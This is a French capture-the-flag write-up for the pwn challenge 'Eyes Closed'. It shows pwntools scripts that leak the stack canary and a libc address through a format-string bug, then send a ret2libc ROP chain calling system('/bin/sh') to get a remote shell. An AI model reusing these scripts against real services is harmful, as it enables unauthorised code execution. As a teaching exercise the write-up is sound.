Eyes Closed | Hackrocks & HackArmour CTF 2022 | Catégorie Pwn | [Vozec/FR] & [Electro/FR]
Eyes Closed | Hackrocks & HackArmour CTF 2022
Nécessaires
- Netcat
- Python3 (+ pwntool)
Flag
flag{br0p0p0p0p0_with_f0rm4t_$7ringggg}Solution détaillée
Le but du challenge est d’exploiter une format string puis d’utiliser un buffer overflow pour ainsi construire une ropchain et ainsi pouvoir prendre le contrôle du binaire grâce à une attaque ret2libc.
Un peu d’explication :
La méthode finale est la même que dans un de mes précédents articles . Ce Writeup va donc se focaliser sur la partie Blind du challenge ainsi que l’exploitation des formats strings
Découverte du challenge :
Seule une connexion TCP nous est donnée
root@DESKTOP-HNQJECB: /c
➜ nc warzone.hackrocks.com 7772
close your eyes and imagine something
tell me, what did you see?:
INPUT1
a INPUT1 ?nice one
please, give me a feedback:
INPUT2
thanks, see you laterUne première chose qui saute aux yeux est que notre première entrée est réfléchie .
Voici ce que l’on obtient si on envoie des formats strings : %p.%p.%p.%p.%p.%p.%p.%p
close your eyes and imagine something
tell me, what did you see?:
%p.%p.%p.%p.%p.%p.%p.%p
a 0x7ffdfbc1c8f0.(nil).(nil).0x17.0xffffffffffffff88.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70 ?nice one
please, give me a feedback:On a donc un leak directement dans la mémoire du binaire !
La description du challenge nous informe sur les sécurités du binaire exécuté à distance :
- Canary :
ON - NX :
ON - PIE :
ON - RELRO :
ON
On va donc essayer de contourner la protection : Canary
Explication de la protection Canary
Imaginons un buffer de 60 caractères, un canary est un octet qui va se positionner en 61ème place et qui va contrôler qu’aucun débordement de mémoire n’a lieu :
Mémoire Classique: [———-MA-MEMOIRE———] [—-CANARY—-] [—-SUITE—-]Mémoire Avec un overflow: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAA] AAAAAA [—-CANARY—-][—-SUITE—-]_
Ici , la place du Canary a été modifiée de +6 avec un Overflow et la protection va se déclencher et arrêter le programme.
On devine que la 2nd entrée est vulnérable à un Buffer Overflow . On peut mettre en évidence la protection Canary :

*** stack smashing detected ***: terminated
[1] 373 abort ./eyes_closedLeak de la mémoire :
On peut donc écrire un programme pour faire leak la mémoire et localiser le Canary :
from pwn import *
context.log_level = 'critical'
url = 'warzone.hackrocks.com'
port = 7772
def Get_proc(): return remote(url,port)
def Dump_stack(string=False):
print(" [+] Leaking all the Stack ...\n")
for _ in range(200):
proc = Get_proc()
proc.recvuntil(b'what did you see?:')
payload = b''
if(string):
payload += b"AAAA....%%%d$p....%%%d$s" % (_,_)
else:
payload += b"AAAA....%%%d$p" % _
proc.sendline(payload)
proc.recvline()
res = proc.recvline().split(b' ')[1]
print("%s - %s"%(_,res))
proc.close()
Dump_stack(True)root@DESKTOP-HNQJECB: /c
➜ python3 writeup.py
[+] Leaking all the Stack ...
0 - b'AAAA....%0$p'
1 - b'AAAA....0x7ffea4af1bd0'
2 - b'AAAA....(nil)'
3 - b'AAAA....(nil)'
4 - b'AAAA....0xc'
5 - b'AAAA....0xffffffffffffff88'
6 - b'AAAA....0x2e2e2e2e41414141'
7 - b'AAAA....0x70243725'
8 - b'AAAA....(nil)'
9 - b'AAAA....(nil)'
10 - b'AAAA....(nil)'
11 - b'AAAA....(nil)'
12 - b'AAAA....(nil)'
13 - b'AAAA....(nil)'
14 - b'AAAA....(nil)'
15 - b'AAAA....(nil)'
16 - b'AAAA....(nil)'
17 - b'AAAA....0x2009005'
18 - b'AAAA....0x7ffe2116c788'
19 - b'AAAA....0xb'
20 - b'AAAA....0x1'
21 - b'AAAA....(nil)'
22 - b'AAAA....0x2009005'
23 - b'AAAA....0x7fbecbe9b6fe'
24 - b'AAAA....(nil)'
25 - b'AAAA....0x1800000'
26 - b'AAAA....0x800'
27 - b'AAAA....0x40'
28 - b'AAAA....0x8000'
29 - b'AAAA....0x8'
30 - b'AAAA....0x40'
31 - b'AAAA....0x40'
32 - b'AAAA....(nil)'
33 - b'AAAA....(nil)'
34 - b'AAAA....0x7fff92e37fd9'
35 - b'AAAA....(nil)'
36 - b'AAAA....(nil)'
37 - b'AAAA....(nil)'
38 - b'AAAA....(nil)'
39 - b'AAAA....(nil)'
40 - b'AAAA....(nil)'
41 - b'AAAA....(nil)'
42 - b'AAAA....(nil)'
43 - b'AAAA....0x5588e59d12c5'
44 - b'AAAA....(nil)'
45 - b'AAAA....0x56526d234280'
46 - b'AAAA....(nil)'
47 - b'AAAA....0x559eb6193090'
48 - b'AAAA....0x7ffc04377b40'
49 - b'AAAA....0xf0285d4279221400'
50 - b'AAAA....(nil)'
51 - b'AAAA....0x7f8f920d27ed'
52 - b'AAAA....0x7ffd40923768'
53 - b'AAAA....0x137775000'
54 - b'AAAA....0x564e0e625175'
55 - b'AAAA....0x7ffd9f160ba9'
56 - b'AAAA....0x560d50fbc280'
57 - b'AAAA....0x4516be6f0cfd5015'
58 - b'AAAA....0x55d29e896090'BINGO ! On sait qu’un Canary se termine par 00 . On repère donc l’offset 49
On peut le vérifier en faisant leaker la 49ème valeur. Elle se termine à chaque fois par 00
def Verif_Canary(offset):
for _ in range(10):
try:
proc = Get_proc()
proc.recvuntil(b'what did you see?:')
proc.sendline(b"%%%d$p" % offset)
proc.recvline()
res = proc.recvline().split(b' ')[1]
print("Test %s - %s"%(_,res))
proc.close()
except:
pass
Verif_Canary(49)Résulat :
root@DESKTOP-HNQJECB: /c
➜ python3 writeup.py
Test 0 - b'0x3a3baf68538ce400'
Test 1 - b'0x1bed75a7af3e8700'
Test 2 - b'0x17bdade8c75b1400'
Test 3 - b'0xfcfee3f27277b800'
Test 4 - b'0x9ac856b2e0729100'
Test 5 - b'0x631bea7f077e2500'
Test 6 - b'0xcf3631335f3ddf00'
Test 7 - b'0x9284289d275e4f00'
Test 8 - b'0x8ccbd313f0140600'
Test 9 - b'0x881a52aa94b22b00'On peut écrire une fonction pour faire leak les adresses rapidement en fonction de l’offset :
def Leak_addr(all_leak,proc):
proc.recvuntil(b'tell me, what did you see?:')
payload = ''
for leak in all_leak:
payload += f'%{leak}$p.'
proc.sendline(bytes(payload[:-1],'utf-8'))
proc.recvline()
res = proc.recvline().decode().split(' ')[1]
return res.split('.')
offset_canary = 49
proc = Get_proc()
canary = Leak_addr([offset_canary],proc)Essayons maintenant de trouver où se place le canary sur le buffer de la 2nd entrée :
def Fuzz_overflow():
offset = -1
for _ in range(100):
proc = Get_proc()
proc.recvuntil(b'what did you see?:')
proc.sendline(b'A')
proc.recvline()
proc.sendline(b'A'*_*8)
resp = proc.recvall(timeout = 0.2).decode().strip().replace('\n',' | ')
print(_,' | ',resp)
if("stack smashing detected" in resp):
offset = _
return offset35 | a A ?nice one | please, give me a feedback: | thanks, see you later
36 | a A ?nice one | please, give me a feedback: | thanks, see you later
37 | a A ?nice one | please, give me a feedback: | thanks, see you later
38 | a A ?nice one | please, give me a feedback: | thanks, see you later
39 | a A ?nice one | please, give me a feedback: | thanks, see you later
40 | a A ?nice one | please, give me a feedback: | thanks, see you later | *** stack smashing detected ***: terminated
41 | a A ?nice one | please, give me a feedback: | thanks, see you later | *** stack smashing detected ***: terminated
42 | a A ?nice one | please, give me a feedback: | thanks, see you later | *** stack smashing detected ***: terminated
43 | a A ?nice one | please, give me a feedback: | thanks, see you later | *** stack smashing detected ***: terminatedOn sait donc que le buffer est de taille 39 et que le canary se place juste après à la position 40
L’attaque Ret2Libc
Notre idée était de trouver la libc utilisée et de faire Leak une fonction telle que puts ou printf
Pour ce faire , voici le pattern que nous avons utilisé pour chercher les adresses du programme :
- [ Padding du buffer de 39char ] + [ Canary ] +[ BBBBBBBB ](=rbp) + [ Addresse ]
Ainsi de cette manière , nous avons exécuté des attaques Ret2Win à la recherche de printf Malheureusement , nous n’avons pas trouvé ces fonctions dans le binaire . Il y a une raison très simple … Nous n’étions pas dans le binaire mais dans la libc .
Pourtant une chose nous a servi pour la suite :
def Leak_puts():
for x in range(-1000,1000):
proc = Get_proc()
canary,libc_start_main_ret = Leak_addr([49,51],proc)
proc.recvline()
payload = b'A'*39*8
payload += p64(int(canary,16))
payload += p64(int(libc_start_main_ret,16))
payload += p64(int(libc_start_main_ret,16)+ x)
proc.sendline(payload)
response = proc.recvall(timeout = 0.5).strip()
print(x,' | ',response)
Leak_puts()Résultat :
303 | b'thanks, see you later'
304 | b'thanks, see you later'
305 | b'thanks, see you later\n*** stack smashing detected ***: terminated'
306 | b'thanks, see you later'
307 | b'thanks, see you later\n*** stack smashing detected ***: terminated'
308 | b'thanks, see you later'
309 | b'thanks, see you later'
310 | b'thanks, see you later'
311 | b'thanks, see you later'
312 | b'thanks, see you later\n*** stack smashing detected ***: terminated'
313 | b'thanks, see you later\nGNU C Library (Debian GLIBC 2.33-1) release release version 2.33.\nCopyright (C) 2021 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 10.3.1 20211117.\nlibc ABIs: UNIQUE IFUNC ABSOLUTE\nFor bug reporting instructions, please see:\n<http://www.debian.org/Bugs/>.'
314 | b'thanks, see you later'
315 | b'thanks, see you later\nGNU C Library (Debian GLIBC 2.33-1) release release version 2.33.\nCopyright (C) 2021 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 10.3.1 20211117.\nlibc ABIs: UNIQUE IFUNC ABSOLUTE\nFor bug reporting instructions, please see:\n<http://www.debian.org/Bugs/>.'
316 | b'thanks, see you later'
317 | b'thanks, see you later'
318 | b'thanks, see you later'
319 | b'thanks, see you later\n*** stack smashing detected ***: terminated'
320 | b'thanks, see you later'
321 | b'thanks, see you later'
322 | b'thanks, see you later'Hourra ! Nous avons la libc : (Debian GLIBC 2.33-1) release release version 2.33 !
Plus exactement : libc6_2.28-10deb10u1_amd64.so
Finalisation
Maintenant que nous avons la libc , il nous faut trouver la base de celle exécutée en remote ou trouver un leak .
Nous avons pris du temps à réaliser que l’adresse après la PIE , elle-même après le Canary était en fait l’adresse libc_start_main_ret et non rip comme nous pensions .
Grâce à libc-database , on peut trouver l’offset pour obtenir la base de la libc
./dump libc6_2.28-10+deb10u1_amd64 __libc_start_main_ret
offset___libc_start_main_ret = 0x2409bVoici le script final avec un Ret2Libc similaire à mon précédent writeup .
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.update(arch="amd64", os="linux")
libc = ELF('./libc6_2.28-10deb10u1_amd64.so')
url = 'warzone.hackrocks.com'
port = 7772
def Get_proc(): return connect(url,port)
def Leak_addr(all_leak,proc):
proc.recvuntil(b'tell me, what did you see?:')
payload = ''
for leak in all_leak:
payload += f'%{leak}$p.'
proc.sendline(bytes(payload[:-1],'utf-8'))
proc.recvline()
res = proc.recvline().decode().split(' ')[1]
return res.split('.')
proc = Get_proc()
offset_canary = 49
offset__libc_start_main_ret = 51
canary , libc_leak = Leak_addr([offset_canary,offset__libc_start_main_ret],proc)
libc.address = int(libc_leak,16) - 0x2409b
print('Canary : '+hex(int(canary,16)))
print('Libc : '+hex(libc.address))
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = b''
payload += b'A'*(8*39)
payload += p64(int(canary,16))
payload += b'B'*8
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret)
payload += p64(libc.sym['system'])
proc.sendline(payload)
proc.interactive()Maintenant on a le Flag !
